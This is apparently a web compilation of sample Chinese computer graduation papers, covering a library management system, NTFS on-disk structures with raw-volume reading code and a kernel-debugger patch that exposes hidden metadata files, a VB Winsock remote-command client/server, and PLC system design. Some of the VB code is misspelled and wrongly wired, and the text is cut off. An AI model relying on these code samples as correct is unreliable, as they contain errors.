計算機畢業論文范例6篇

前言:中文期刊網精心挑選了計算機畢業論文范文供你參考和學習,希望我們的參考范文能激發你的文章創作靈感,歡迎閱讀。

計算機畢業論文范文1

開題報告

經過大學四年理論課程的學習,以及校內校外的實踐,極大的豐富了自身的理論基礎,并且也具備了一些處理簡單問題的能力,但即將踏上社會的我深知這還遠遠不夠,因此我利用了畢業設計的機會,在老師的指導下去完成一個具有挑戰性的,其具體應用及社會服務相結合的項目,深知通過對它的開發,將對我的能力有更高層次的突破。

開發軟件的一個目的是針對目前普遍的圖書管理系統存在的功能不全,操作復雜,系統要求高等一系列問題,而設想一個具有個性化的圖書管理系統。該管理系統與MIS系統相聯系,在圖書館內部建成可靠,方便,并且功能齊全的MIS系統。從而在圖書館對新舊書的反應;對書籍借閱的管理能力;對讀者和圖書館工作人員的管理能力;對圖書館管理人員軟件操作的適應時間和操作感覺這些方面都將大大的提高。當然對該軟件的態度是渴望獲得顯著的社會效益。

開發軟件的另一個目的是使其具有強大的實用價值,即它可以滿足中小型圖書館的借閱與管理的需要。在一般的學校與科研機構,其下屬的很多分支的研究中心,試驗中心,各個學院,它們往往都有著自己的規模較大的圖書資料室。而這些圖書資料室由于本身規模不大因此其對書籍或資料的管理模式一般都比較舊,而且在沒有能力也沒有必要引進大型的圖書館管理軟硬件的基礎上,尋求一個針對中小型圖書資料室的管理軟件是必要的。

這種管理軟件對硬件的要求很低,一般有一個比較簡單的服務器與PC機組成的網絡即可,再加上使用比較廉價、性能不錯的軟件,這樣就可以以較低的成本來實現一個足夠使用的功能,而這種模式也正滿足了那種中小型資料室,圖書館的要求。但是目前對這種管理軟件的開發還處于一種比較原始的階段。開發者往往都是出于資金和時間的顧慮使用比較陳舊的技術,并且各為己見,并且很少涉及網絡。可是當今是一個網絡化的社會,像資料室,圖書館這樣的信息機構不能與網絡聯系起來豈不可惜,再加上如今單機版的圖書管理軟件多如牛毛,去開發一個類似的軟件無疑是一種在時間上、精神上和資源上的極大浪費。所以出于多方面的考慮覺得有必要為這種有需要的中小型圖書館,資料室開發一種基于網絡的圖書資料管理軟件。

項目的具體目的:

1.

實現圖書館對外借書,還書的簡易操作,提高圖書館對最平凡工作的效率。

2.

實現圖書館對所藏圖書的按類別,書名等多方面的查詢,最大的方便讀者和圖書館工作人員對所需圖書的查詢。

3.

建立圖書館外借讀者數據庫,方便工作人員對讀者進行有效管理。

4.

建立圖書館工作人員數據庫,限定每個工作人員對軟件操作的權限,最大限度的保護數據庫。

5.

實現圖書館對新書入庫,舊書注銷的簡單處理,并且建立書籍檔案,方便進貨。

實現方法:

后臺數據庫支持:采用PowerBuild 8.0,主要是由于PowerBuild 8.0是美國Sybase公司PowerSoft的新一代數據庫應用開發工具,它能夠設計傳統的高性能、基于客戶/服務器體系結構的應用系統,也能夠用于開發基于Internet的應用系統。它具有容易使用,便于維護的優點,使使用部門可以節省培訓費用,加快磨合周期,同時有利于操作人員的培訓,是對數據的安全性要求不是特別高,同時又有比較大的數據量的單位的較好選擇。作為PowerBuild 7.0的后續版本,PowerBuild 8.0 擴展了 PowerBuild 7.0 版的性能、可靠性、質量和易用性。PowerBuild 8.0增加了幾種新的功能,由此成為數據倉庫和電子商務應用程序的優秀數據庫平臺。這些功能如:

l

新的開發調試界面,使程序員對于工作環境有了直觀的了解,最大的方便了程序員的工作,新增的剪貼板能夠讓你保存最常用的代碼段,避免了重復輸入。

l

新的Web特性,這是PB8.0相對于7.0最大的改進,它提供了因特網瀏覽器中使用數據窗口控件的瘦客戶端的解決方式。普通數據窗口和數據存儲中可以使用的方法和屬性現在大部分可以使用于Web數據窗口了。

l

新的數據庫連接,在改進已有接口的前提下,使用新的數據庫連接接口jdbc/jbd數據接口。它封裝了jdbc函數功能于一個PB數據庫接口,不僅支持使用SUN公司的jdk/jre1.1,還支持使用微軟的java vm。因此它具有對現在windows操作平臺更加好的兼容性。 外部網/internet

圖書館內部局域網

數據庫

圖書館管理系統

讀者查詢系統

power builder具有的獨特的報表系統使制作表格變的極其方便,同時根據用戶的需要可以隨意調節表格的形式,而不象其他的語言,當用戶的需要改變時,需要很大的工作量來更改程序適應用戶的需要,同時,由于該語言具有良好的數據庫接口,可以比較方便的進行數據庫操作。雖然power builder的語法較為簡單,對于算法和其他的一些復雜的表示方式缺乏有效的方法,但對于數據庫運用,這些缺點并不是經常出現。 因此,同時也用power builder作為前臺客戶端界面的實現語言。即整個系統均使用power builder,以提高可靠性和安全性。

數據的安全性:

由于該系統統計管理單位的各種書目,人員數據及出入庫數據,因此需要保證數據的可靠性和安全性。對于軟件方面,采用手動或定時對數據庫采取備份,使由于數據破壞所產生的損失降到最低,同時便于恢復。

總體功能結構:

根據圖書館的基本要求和功能目標,總體框架是建立二個功能系統和二個支持系統(具體見圖--1)。二個功能系統是:1.圖書館管理系統(下稱1號系統);2.外部讀者查

詢系統(下稱2號系統)。二個支持系統是:1.網絡支持系統(WAN和LAN);2.數據庫支持系統。

需求分析:

A:

圖書館管理系統即1號系統是該系統軟件的重要內容之一,該子系統為圖書館的庫存書籍的動態調整提供了決策依據,有利于及時對有大量需求的新書進行訂貨入庫。它的主要功能包括:新書入庫,舊書注銷,借書,還書,館內圖書詳細信息,圖書查詢,讀者管理,館內圖書統計,讀者信息管理,圖書館工作人員權限管理,名稱設計,數據庫備份等功能。

下面是2號系統的主要功能的簡單描述(圖—2簡單數據流圖):

1.

圖書管理(圖—3系統流圖):

這是圖書館最重要的模塊之一,它將對圖書館中的書籍進行管理操作,所有的原始數據輸入都是在這里實現的,有了這里的數據輸入,才能開始以后的諸如借書、還書等操作。

。新書入庫管理:

該功能允許用戶輸入圖書單,在輸入過程中,程序自動生成圖書單編號以加以區分兩次不同的入庫書單,同時程序也檢查輸入的合法性,并自動記錄當日入庫的圖書。

。當日入庫圖書查詢

該功能允許用戶對當日的入庫書單針對不同條件進行查詢,并且提供二次修改,避免出錯。

。舊書注銷:

該功能允許用戶輸入注銷單,在輸入過程中,程序自動生成注銷單編號以加以區分兩次不同的注銷書單,并且自動記錄當日注銷的圖書。

。當日注銷圖書查詢:

該功能允許用戶對當日的注銷單針對不同條件進行查詢,并且提供還原,避免出錯。

2.

業務管理:

這是圖書館使用頻率最高的模塊,因此他在功能上應該直觀明確,在操作上應該簡單易用。

。圖書借閱:

該功能要求用戶輸入圖書編號或者圖書條碼,并且檢查輸入合法性,然后程序動態生成該書的詳細信息;再輸入借書證號,并且檢查輸入合法性,然后程序動態生成該讀者的詳細信息;系統記錄借書的經手人,最后由借書按鈕實現操作。

。圖書歸還:

與圖書借閱類似,追加圖書超期罰款功能,自動根據預設值計算出罰款金額。

3.

人員檔案管理:

這是針對讀者和圖書館工作人員而設計的一個人士管理模塊,它將完整的記錄讀者的信息,以及圖書館工作人員的信息,并且他還具有限制圖書館工作人員操作權限的功能,最大限度的保證了數據的安全。

。讀者管理:

記錄讀者的詳細信息,并提供增加、撤除、查詢等操作。

。圖書館工作人員管理:

在讀者管理子模塊的基礎上增加權限管理功能,保證數據安全。

4.

數據庫備份:

這是一個涉及到安全問題的重要模塊,它可以保證數據庫的安全,防止因外界的突發事件所造成的損失,避免因數據流失而重復輸入的困擾。該功能分為自動備份,和手動立即備份兩部分,滿足用戶需要。

5.

名稱設計:

這是一個很具個性化的功能,實現很簡單,但非常吸引人,你可以任意為你的管理系統命名,比如“杭州X中學圖書管理系統”。

B:

外部讀者查詢系統,即2號系統,這是一個面向讀者的綜合查詢系統,采用與管理系統相同的數據庫,具有唯一的功能:查詢。他可以按照讀者的要求,用不同方法對所藏書籍進行查詢,并能進行書名的模糊查詢,還可以查詢讀者所借書的到期日,和觀看讀者本人的詳細資料,力爭最大的滿足讀者的需求。(圖-4簡單數據流圖)

性能要求:

對新書入庫單,注銷單的處理及查詢;圖書查詢;借書還書速度應較快

登錄倉庫管理系統時應輸入密碼,以保證系統的安全性。

系統要有較強的兼容性,能在各種PC機上正常運行。在系統運行異常及數據文件損壞時能給出出錯提示,保證系統的可靠性。

運行環境:

1. 推薦配置:

cpu:Intel Pentium 以上

內存:64M

硬盤:100M空閑空間

2.支持軟件:

操作系統:Windows98 , Windows2000 , WindowsMe.

本人開發進度計劃:

計算機畢業論文范文2

NTFS是WindowsNT引入的新型文件系統,它具有許多新特性。本文旨在探索NTFS的底層結構,所敘述的也僅是文件在NTFS卷上的分布。NTFS中,卷中所有存放的數據均在一個叫$MFT的文件中,叫主文件表(MasterFileTable)。而$MFT則由文件記錄(FileRecord)數組構成。FileRecord的大小一般是固定的,通常情況下均為1KB,這個概念相當于Linux中的inode。FileRecord在$MFT文件中物理上是連續的,且從0開始編號。$MFT僅供FileSystem本身組織、架構文件系統使用,這在NTFS中稱為元數據(Metadata)。以下列出Windows2000Release出的NTFS的元數據文件(我將要給出的示例代碼的部分輸出結果)。

FileRecord(inode)FileName

--------------------------

0$MFT

1$MFTMirr

2$LogFile

3$Volume

4$AttrDef

5.

6$Bitmap

7$Boot

8$BadClus

9$Secure

10$UpCase

11$Extend

Windows2000中不能使用dir命令(甚至加上/ah參數)像普通文件一樣列出這些元數據文件。實際上FileSystemDriver(ntfs.sys)維護了一個系統變量NtfsProtectSystemFiles用于隱藏這些元數據。默認情況下,這個變量被設為TRUE,所以使用dir/ah將得不到任何文件。知道這個行為后使用i386kd修改NtfsProtectSystemFiles后即可以列出元數據文件:

kd>xntfs!NtfsProtect*

fe213498Ntfs!NtfsProtectSystemFiles

fe21349cNtfs!NtfsProtectSystemAttributes

kd>ddntfs!NtfsProtectSystemFilesl2

fe2134980000000100000001

kd>edntfs!NtfsProtectSystemFiles0

kd>ddntfs!NtfsProtectSystemFilesl2

fe2134980000000000000001

kd>

D:\>ver

MicrosoftWindows2000[Version5.00.2195]

D:\>dir/ah$*

驅動器D中的卷是W2KNTFS

卷的序列號是E831-9D04

D:\的目錄

2000-04-2719:3136,000$AttrDef

2000-04-2719:310$BadClus

2000-04-2719:3167,336$Bitmap

2000-04-2719:318,192$Boot

2000-04-2719:31<DIR>$Extend

2000-04-2719:3113,139,968$LogFile

2000-04-2719:3127,575,296$MFT

2000-04-2719:314,096$MFTMirr

2000-04-2719:31131,072$UpCase

2000-04-2719:310$Volume

9個文件40,961,960字節

1個目錄51,863,552可用字節

需要指出的是ntfs.sys將元數據文件以一種特殊的方式打開,所以在打開NtfsProtectSystemFiles后,如果使用ReadFile等產生IRP_MJ_READ等IRP包時將會導致PageFault(詳見GaryNebbett的《WindowsNT/2000NativeAPIReference》)。

以上的討論均是基于$MFT文件而討論的,即基于$MFT中的FileRecord(inode)討論的。為更好的繼續以下的討論,這兒我列出FileRecordHeader的結構:

typedefstruct{

ULONGType;

USHORTUsaOffset;

USHORTUsaCount;

USNUsn;

}NTFS_RECORD_HEADER,*PNTFS_RECORD_HEADER;

typedefstruct{

NTFS_RECORD_HEADERNtfs;

USHORTSequenceNumber;

USHORTLinkCount;

USHORTAttributesOffset;

USHORTFlags;//0x0001=InUse,0x0002=Directory

ULONGBytesInUse;

ULONGBytesAllocated;

ULONGLONGBaseFileRecord;

USHORTNextAttributeNumber;

}FILE_RECORD_HEADER,*PFILE_RECORD_HEADER;

下面我將討論如何定位$MFT。稍微有點操作系統知識的人都會知道引導扇區(BootSector),其物理位置為卷中的第一個扇區。以下由dskprobe.exe(Windows2000ResourceKit中的一個小工具)分析的第一個扇區(當然也可以使用WinHex等其他應用程序):

file:d:\Sector00.bin

Size:0x00000200(512)

Address|00010203-04050607:08090A0B-0C0D0E0F|0123456789ABCDEF

---------|-------------------------:-------------------------|-----------------

00000000|EB52904E-54465320:20202000-02080000|?R?NTFS.....

00000010|00000000-00F80000:3F00F000-3F000000|.....?..?.e.?...

00000020|00000000-80008000:90C04100-00000000|....€.€.惱A.....

00000030|04000000-00000000:091C0400-00000000|................

00000040|F6000000-01000000:049D31E8-BB31E894|?.......?杌1钄

..

..

..

000001F0|00000000-00000000:83A0B3C9-000055AA|........儬成..U?

這512字節為如下的格式:(摘自GaryNebbett書中,本文許多代碼均來自或參考此書。)

#pragmapack(push,1)

typedefstruct{

UCHARJump[3];

UCHARFormat[8];

USHORTBytesPerSector;

UCHARSectorsPerCluster;

USHORTBootSectors;

UCHARMbz1;

USHORTMbz2;

USHORTReserved1;

UCHARMediaType;

USHORTMbz3;

USHORTSectorsPerTrack;

USHORTNumberOfHeads;

ULONGPartitionOffset;

ULONGReserved2[2];

ULONGLONGTotalSectors;

ULONGLONGMftStartLcn;

ULONGLONGMft2StartLcn;

ULONGClustersPerFileRecord;

ULONGClustersPerIndexBlock;

ULONGLONGVolumeSerialNumber;

UCHARCode[0x1AE];

USHORTBootSignature;

}BOOT_BLOCK,*PBOOT_BLOCK;

#pragmapack(pop)

各個字段的詳細意義從字段名中即可大致清楚。在linux-ntfs的GNU工程(/projects/linux-ntfs)中也有詳細的文檔,限于篇幅我不將其列出??梢允褂萌缦麓a讀出卷中的第一個扇區:

hVolume=CreateFile(drive,GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,0,

OPEN_EXISTING,0,0);

ReadFile(hVolume,&bootb,sizeof(bootb),&n,0);

bootb是一個BOOT_BLOCK結構,在我的卷中如下格式(請對應Sector00.bin分析):

DumpBootBlockatbelow:

BytesPerSector:200

SectorsPerCluster:8

BootSectors:0

SectorsPerTrack:3F

NumberOfHeads:F0

PartitionOffset:3F

TotalSectors:41C090

MftStartLcn:4

Mft2StartLcn:41C09

ClustersPerFileRecord:F6

ClustersPerIndexBlock:1

VolumeSerialNumber:E8319D04

BootSignature:AA55

以上的MftStartLcn其實是$MFT在卷中的簇(Cluster)號。簇是NTFS的基本單位,最小單位。一個只有1Byte的文件也要占用一簇的空間。NTFS使用LCN(LogicalClusterNumber)來代表NTFS卷中的物理位置,其簡單的從0到卷中的總簇數減一進行編號。對于一個特定的文件NTFS則使用VCN(VirtualClusterNumber)來映射LCN實現文件的組織。從MftStartLcn的值4可以知道$MFT的LCN為4與SectorsPerCluster、BytesPerSector的大小即可定位$MFT的位置。得到$MFT的位置后,如果遍歷$MFT中所有的FileRecord即可以得到卷中所有的文件列表(前面已經提到FileRecord只是簡單的從0開始編號)。也就是說到目前為止已經可以對文件組織有最簡單的認識,但如何得到文件的信息呢,如文件名等等。NTFS中所有文件包括普通的用戶文件、元數據文件均用同樣的方式組織數據、屬性等。我將nfi.exe(來自WindowsNT/2000OEMSupportTools)的輸出結果列出,作為我敘述的開始:

D:\>copyconfile

testforntfs^Z

已復制1個文件。

D:\>nfid:\file

NTFSFileSectorInformationUtility.

Copyright(C)MicrosoftCorporation1999.Allrightsreserved.

\file

$STANDARD_INFORMATION(resident)

$FILE_NAME(resident)

$DATA(resident)

D:\>echotestforattr>file:ATTR

D:\>nfid:\file

NTFSFileSectorInformationUtility.

Copyright(C)MicrosoftCorporation1999.Allrightsreserved.

\file

$STANDARD_INFORMATION(resident)

$FILE_NAME(resident)

$DATA(resident)

$DATAATTR(resident)

nfi的輸出結果$STANDARD_INFORMATION、$FILE_NAME、$DATA等在NTFS中稱為屬性(Attribute)。屬性分為常駐屬性(ResidentAttribute)與非常駐屬性(NonresidentAttribute)。文件的數據也包含在屬性中,似乎與屬性這個名稱有點混謠。不過這又讓NTFS有了更加統一的組織文件的形式。這也同時讓NTFS有MultiStreams的特性(上面也演示了這個特性)。通過指定的FileRecord定位給定的Attribute的實現代碼如下:

template<classT1,classT2>inline

T1*Padd(T1*p,T2n){return(T1*)((char*)p+n);}

PATTRIBUTEFindAttribute(PFILE_RECORD_HEADERfile,

ATTRIBUTE_TYPEtype,PWSTRname)

{

for(PATTRIBUTEattr=PATTRIBUTE(Padd(file,file->AttributesOffset));

attr->AttributeType!=-1;

attr=Padd(attr,attr->Length)){

if(attr->AttributeType==type){

if(name==0&&attr->NameLength==0)returnattr;

if(name!=0&&wcslen(name)==attr->NameLength

&&_wcsicmp(name,PWSTR(Padd(attr,attr->NameOffset)))==0)returnattr;

}

}

return0;

}

GaryNebbett提供的這個FindAttribute函數在Attributename(即第三個參數)不為空串時可能會出現bug,主要原因是_wcsicmp對UNICODE字符串比較時應該是以\0結束的標準的C字符串。我在提供的代碼中已經糾正了這個錯誤。

下面我將通過使用SoftICE來分析這段代碼得到$MFT的$FILE_NAME屬性來得到$MFT的filename。這個示例同樣適用于得到其它文件的$FILE_NAME(如上面的file)、還有其它的屬性如$DATA等等。

:bpxFindAttribute

BreakduetoBPXFindAttribute(ET=6.89seconds)

:locals

[EBP-4]+structATTRIBUTE*attr=0x00344D68<{...}>

[EBP+8]+structFILE_RECORD_HEADER*file=0x00344D38<{...}>

[EBP+C]enumATTRIBUTE_TYPEtype=AttributeFileName(30)

[EBP+10]+unsignedshort*name=0x004041BC<"$MFT">

:?file

structFILE_RECORD_HEADER*=0x00344D38<{...}>

structNTFS_RECORD_HEADERNtfs={...}

unsignedshortSequenceNumber=0x1,"\0\x01"

unsignedshortLinkCount=0x1,"\0\x01"

unsignedshortAttributesOffset=0x30,"\00"

unsignedshortFlags=0x1,"\0\x01"

unsignedlongBytesInUse=0x2D8,"\0\0\x02\xD8"

unsignedlongBytesAllocated=0x400,"\0\0\x04\0"

unsignedquadBaseFileRecord=0x0,"\0\0\0\0\0\0\0\0"

unsignedshortNextAttributeNumber=0x6,"\0\x06"

file參數我傳入的是$MFT,從$MFT的LCN=4可以得到其在卷中的物理地址,這在上面已說明。你也可以使用dskprobe(我機子中為第LCN*SectorsPerCluster=4*8扇區)得到底下SoftICE的輸出結果:

:dd@file//以下的注釋可對照文中開頭列出的FILE_RECORD_HEADER定義。

0023:00344D38454C49460003002A6D4AC04D00000000FILE*...M.Jm....

0023:00344D480001000100010030000002D800000400....0...........

----

|__AttributeOffset

0023:00344D580000000000000000043400060000FA0D..........4.....

0023:00344D6800000010000000600018000000000000....`...........

----------------

||_指出這個Attribute的長度。定義如下。

|_根據AttributeOffset得到的Attribute頭,定義如下。00000010指出這個Attribute為StandardInformation

0023:00344D7800000048000000182C1761D001BFB03CH........a.,<...

Attribute頭如下定義:

typedefstruct{

ATTRIBUTE_TYPEAttributeType;

ULONGLength;

BOOLEANNonresident;

UCHARNameLength;

USHORTNameOffset;

USHORTFlags;//0x0001=Compressed

USHORTAttributeNumber;

}ATTRIBUTE,*PATTRIBUTE;

typedefstruct{

ATTRIBUTEAttribute;

ULONGValueLength;

USHORTValueOffset;

USHORTFlags;//0x0001=Indexed

}RESIDENT_ATTRIBUTE,*PRESIDENT_ATTRIBUTE;

typedefstruct{

ULONGLONGDirectoryFileReferenceNumber;

ULONGLONGCreationTime;//Savedwhenfilenamelastchanged

ULONGLONGChangeTime;//ditto

ULONGLONGLastWriteTime;//ditto

ULONGLONGLastAccessTime;//ditto

ULONGLONGAllocatedSize;//ditto

ULONGLONGDataSize;//ditto

ULONGFileAttributes;//ditto

ULONGAlignmentOrReserved;

UCHARNameLength;

UCHARNameType;//0x01=Long,0x02=Short

WCHARName[1];

}FILENAME_ATTRIBUTE,*PFILENAME_ATTRIBUTE;

ATTRIBUTE_TYPE是一個Enum型定義。其中00000010為StandardInformation。30為FileName。因為FileNameAttribute總是一個常駐Attribute,所以我將RESIDENT_ATTRIBUTE定義也給出。OK,現在可以繼續Dump下一個Attribute:

//dd@file+file->AttributeOffset+length(StandardInformationAttribute)

:dd@file+30+60

0023:00344DC8000000300000006800180000000300000...h...........

--------------

||___這里的NameLength與NameOffset指FileNameAttribute名。不要與$MFTFileName混謠。

|_指出這是一個FileNameAttribute。

0023:00344DD80000004A000100180000000500050000J...............

--------------------

|||_根據ValueOffset的值,得到FILENAME_ATTRIBUTE的具置。

||_ValueOffset值

|_ValueLength值

0023:00344DE82C1761D001BFB03C2C1761D001BFB03C.a.,<....a.,<...

0023:00344DF82C1761D001BFB03C2C1761D001BFB03C.a.,<....a.,<...

0023:00344E0800004000000000000000400000000000.@.......@......

0023:00344E180000000600000000002403040046004D..........$.M.F.

----------

||___找到$MFT的FileName了吧。

|_NameLength

0023:00344E2800000054000000000000008000000190T...............

0023:00344E3800400001000100000000000000000000..@.............

這兒給出了DumpAttribute的一個具體方法。最后我將給出遍歷FileRecord的代碼,在給出代碼前應該說明一下$MFT中$BITMAP屬性。NTFS的這個Attribute相當于LINUXEXT2的s_inode_bitmap數組(Linux2.0版本)。所以很容易明白$BITMAP的作用,即每bit指出相應FileRecord的在用情況。以下是DumpAllFileRecord的代碼:

BOOLbitset(PUCHARbitmap,ULONGi)

{

return(bitmap[i>>3]&(1<<(i&7)))!=0;

}

VOIDDumpAllFileRecord()

{

PATTRIBUTEattr=FindAttribute(MFT,AttributeBitmap,0);

PUCHARbitmap=newUCHAR[AttributeLengthAllocated(attr)];

ReadAttribute(attr,bitmap);

ULONGn=AttributeLength(FindAttribute(MFT,AttributeData,0))/BytesPerFileRecord;

PFILE_RECORD_HEADERfile=PFILE_RECORD_HEADER(newUCHAR[BytesPerFileRecord]);

for(ULONGi=0;i<n;i++){

if(!bitset(bitmap,i))continue;

ReadFileRecord(i,file);

if(file->Ntfs.Type==''''ELIF''''&&(file->Flags&3)){

attr=FindAttribute(file,AttributeFileName,0);

if(attr==0)continue;

PFILENAME_ATTRIBUTEname

=PFILENAME_ATTRIBUTE(Padd(attr,PRESIDENT_ATTRIBUTE(attr)->ValueOffset));

printf("%8lu%.*ws\n",i,int(name->NameLength),name->Name)

}

}

}

本文引用GaryNebbett的些定義可能對Windows2000版本有些很小的出入,不過Internet有其神奇的地方,雖然Microsoft不提供這些信息,但諸如linux-ntfsGNU工程等均是學習NTFS的一個很好的資料,本文也參考了很多它提供的文檔。另外MarkRussinovich的《InsideWin2KNTFS》、《InsideNTFS》、《ExploringNTFSOn-diskStructures》等也是很好的NTFS資料。本文仍未涉及NTFS中目錄的組織(B+樹)等等,可能的話我會另行介紹。文中介紹的完整代碼可到下載。出現的錯誤也歡迎來信指教(tsu00@)!

最后感謝AntonAltaparmakov,感謝我的同事在出差時抽空給我買到GaryNebbett的書。感謝我看到的所有資料的原作者們。感謝他們!

參考資料:

1.GaryNebbett《WindowsNT/2000NativeAPIReference》

2.Linux-NTFSProjectNTFSDocumentationVersion0.4

計算機畢業論文范文3

一、所用控件

在程序中將使用Winsock控件。Winsock控件是一個ActiveX控件,使用TCP協議或UDP協

議連接到遠程計算機上并與之交換數據。和定時器控件一樣,Winsock控件在運行時是不可見的。Winsock的工作原理是:客戶端向服務器端發出連接請求,服務器端則不停地監聽客戶端的請求,當兩者的協議溝通時,客戶端和服務器端之間就建立了連接,這時客戶端和服務器端就可以實現雙向數據傳輸。實際編程中,必須分別建立一個服務器端應用程序和一個客戶端應用程序,兩個應用程序中分別有自己的Winsock控件。首先設置Winsock控件使用的協議,這里我們使用TCP協議?,F在,讓我們開始用VB建立兩個程序,一個是客戶端程序myclient,另一個是服務器端程序myserver。

二、編寫客戶端程序

首先來建客戶端程序myclient。在myclient程序中建立一個窗體,加載Winsock控件,稱為tcpclient,表示使用的是TCP協議,再加入兩個文本框(text1和text2),用來輸入服務器的IP地址和端口號,然后建立一個按鈕(cd1),用來建立連接,按下之后就可以對連接進行初始化了,代碼如下:

privatesubcd1_click()

tcpclient.romotehost=text1.text

tcpclient.romoteport=val(text2.text)''''端口號,缺省為1001

tcpclient.connect''''調用connect方法,與指定IP地址的計算機進行連接

cd1.enabled=false

endsub

連接之后就是如何處理所收到的數據的問題了??蛻舳撕头掌鞫私⑦B接后,如果有任何一端接收到新的數據,就會觸發該端winsock控件的dataarrival事件,在響應這個事件時,可以使用getdata方法獲得發送來的數據。比如可以在tcpclient的dataarrival事件中編寫代碼如下:

privatesubtcpclient_dataarrival(byvalbytestotalaslong)

dimxasstring

tcpclient.getdatax''''使用getdata獲得發送來的數據

.......

Endsub

后面的省略部分表示對接收到的數據進行的具體處理,讀者可以根據實際情況編寫。

三、編寫服務器端程序

先建立一個窗體,加載Winsock控件,名稱為tcpserver。另外在窗體上加入一個文本框text1用來顯示客戶機的IP地址和客戶機發送過來的數據信息。

當客戶端程序運行時,在客戶端程序按下連接按鈕后,客戶端向服務器端程序請求連接,這時服務器端的connectionrequest事件被觸發,所以服務器端程序要解決連接問題,可以使用connectionrequest事件完成此功能。代碼如下:

''''在窗體的load事件中對tcpserver控件進行初始化

privatesubform_load()

tcpserver.localport=1001

tcpserver.listen''''把服務器置于監聽檢測狀態

endsub

''''服務器端接收到客戶端的連接請求,首先檢查當前狀態是否處于連接關閉狀態

Privatesubtcpclient_connectionrequest(ByvalrequestIDaslong)

Iftcpserver.state<>sckclosedthen''''檢查控件的state屬性是否為關閉

Tcpserver.close''''

Tcpserver.acceptrequestID''''

Endif

Endsub

現在我們在服務器端程序tcpserver的dataarrival事件中添加以下代碼,以便讓服務器端程序可以接收客戶機端的指令,并運行相應的程序。

計算機畢業論文范文4

關鍵詞:自動控制可編程序控制器系統設計應用

在現代化的工業生產設備中,有大量的數字量及模擬量的控制裝置,例如電機的起停,電磁閥的開閉,產品的計數,溫度、壓力、流量的設定與控制等,工業現場中的這些自動控制問題,若采用可編程序控制器(PC)來解決自動控制問題已成為最有效的工具之一,本文敘述PC控制系統設計時應該注意的問題。

硬件選購目前市場上的PC產品眾多,除國產品牌外,國外有:日本的OMRON、MITSUBISHI、FUJJ、anasonic,德國的SIEMENS,韓國的LG等。近幾年,PC產品的價格有較大的下降,其性價比越來越高,這是眾多技術人員選用PC的重要原因。那么,如何選購PC產品呢?

1.系統規模首先應確定系統用PC單機控制,還是用PC形成網絡,由此計算PC輸入、輸出點。數,并且在選購PC時要在實際需要點數的基礎上留有一定余量(10%)。

2.確定負載類型根據PC輸出端所帶的負載是直流型還是交流型,是大電流還是小電流,以及PC輸出點動作的頻率等,從而確定輸出端采用繼電器輸出,還是晶體管輸出,或品閘管輸出。不同的負載選用不同的輸出方式,對系統的穩定運行是很重要的。

3.存儲容量與速度盡管國外各廠家的PC產品大體相同,但也有一定的區別。目前還未發現各公司之間完全兼容的產品。各個公司的開發軟件都不相同,而用戶程序的存儲容量和指令的執行速度是兩個重要指標。一般存儲容量越大、速度越快的PC價格就越高,但應該根據系統的大小合理選用PC產品。

4.編程器的選購PC編程可采用三種方式:

一是用一般的手持編程器編程,它只能用商家規定語句表中的語句編程。這種方式效率低,但對于系統容量小,用量小的產品比較適宜,并且體積小,易于現場調試,造價也較低。

二是用圖形編程器編程,該編程器采用梯形圖編程,方便直觀,一般的電氣人員短期內就可應用自如,但該編程器價格較高。

三是用IBM個人計算機加PC軟件包編程,這種方式是效率最高的一種方式,但大部分公司的PC開發軟件包價格昂貴,并且該方式不易于現場調試。

因此,應根據系統的大小與難易,開發周期的長短以及資金的情況合理選購PC產品。

5.盡量選用大公司的產品其質量有保障,且技術支持好,一般售后服務也較好,還有利于你的產品擴展與軟件升級。

輸入回路的設計

1.電源回路PC供電電源一般為AC85—240V(也有DC24V),適應電源范圍較寬,但為了抗干擾,應加裝電源凈化元件(如電源濾波器、1:1隔離變壓器等)。

2.Pc上DC24V電源的使用各公司PC產品上一般都有DC24V電源,但該電源容量小,為幾十毫安至幾百毫安,用其帶負載時要注意容量,同時作好防短路措施(因為該電源的過載或短路都將影響PC的運行)。

3.外部DC24V電源若輸入回路有DC24V供電的接近開關、光電開關等,而PC上DC24V電源容量不夠時,要從外部提供DC24V電源;但該電源的“—”端不要與PC的DC24V的“—”端以及“COM”端相連,否則會影響PC的運行。

4.輸入的靈敏度各廠家對PC的輸人端電壓和電流都有規定,如日本三菱公司F7n系列Pc的輸入值為:DC24V、7mA,啟動電流為4.5mA,關斷電流小于1.5mA,因此,當輸入回路串有二極管或電阻(不能完全啟動),或者有并聯電阻或有漏電流時(不能完全切斷),就會有誤動作,靈敏度下降,對此應采取措施。另一方面,當輸入器件的輸入電流大于PC的最大輸入電流時,也會引起誤動作,應采用弱電流的輸入器件,并且選用輸人為共漏型輸入的PC,Bp輸入元件的公共點電位相對為負,電流是流出PC的輸入端。

輸出回路的設計

1.各種輸出方式之間的比較

(1)繼電器輸出:優點是不同公共點之間可帶不同的交、直流負載,且電壓也可不同,帶負載電流可達2A/點;但繼電器輸出方式不適用于高頻動作的負載,這是由繼電器的壽命決定的。其壽命隨帶負載電流的增加而減少,一般在幾十萬次至Jl百萬次之間,有的公司產品可達1000萬次以上,響應時間為10ms

(2)晶閘管輸出:帶負載能力為0.2A/點,只能帶交流負載,可適應高頻動作,響應時間為1ms.

(3)晶體管輸出:最大優點是適應于高頻動作,響應時間短,一般為0.2ms左右,但它只能帶DC5—30V的負載,最大輸出負載電流為0.5A/點,但每4點不得大于0.8A。

當你的系統輸出頻率為每分鐘6次以下時,應首選繼電器輸出,因其電路設計簡單,抗干擾和帶負載能力強。當頻率為10次/min以下時,既可采用繼電器輸出方式;也可采用PC輸出驅動達林頓三極管(5—10A),再驅動負載,可大大減小電流。

2.抗干擾與外部互鎖當PC輸出帶感性負載,負載斷電時會對PC的輸出造成浪涌電流的沖擊,為此,對直流感性負載應在其旁邊并接續流二極管,對交流感性負載應并接浪涌吸收電路,可有效保護PC。

當兩個物理量的輸出在PC內部已進行軟件互鎖后,在PC的外部也應進行互鎖,以加強系統的可靠性。

3.“GOM“點的選擇不同的PC產品,其“COM”點的數量是不一樣的,有的一個“COM”點帶8個輸出點,有的帶4個輸出點,也有帶2個或1個輸出點的。當負載的種類多,且電流大時,采用一個“COM”點帶1—2個輸出點的PC產品;當負載數量多而種類少時,采用一個“COM”點帶4—8個輸出點的PC產品。這樣會對電路設計帶來很多方便,每個“COM”點處加一熔絲,1—2個輸出時加2A的熔絲,4—8點輸出的加5—10A的熔絲,因PC內部一般沒有熔絲。

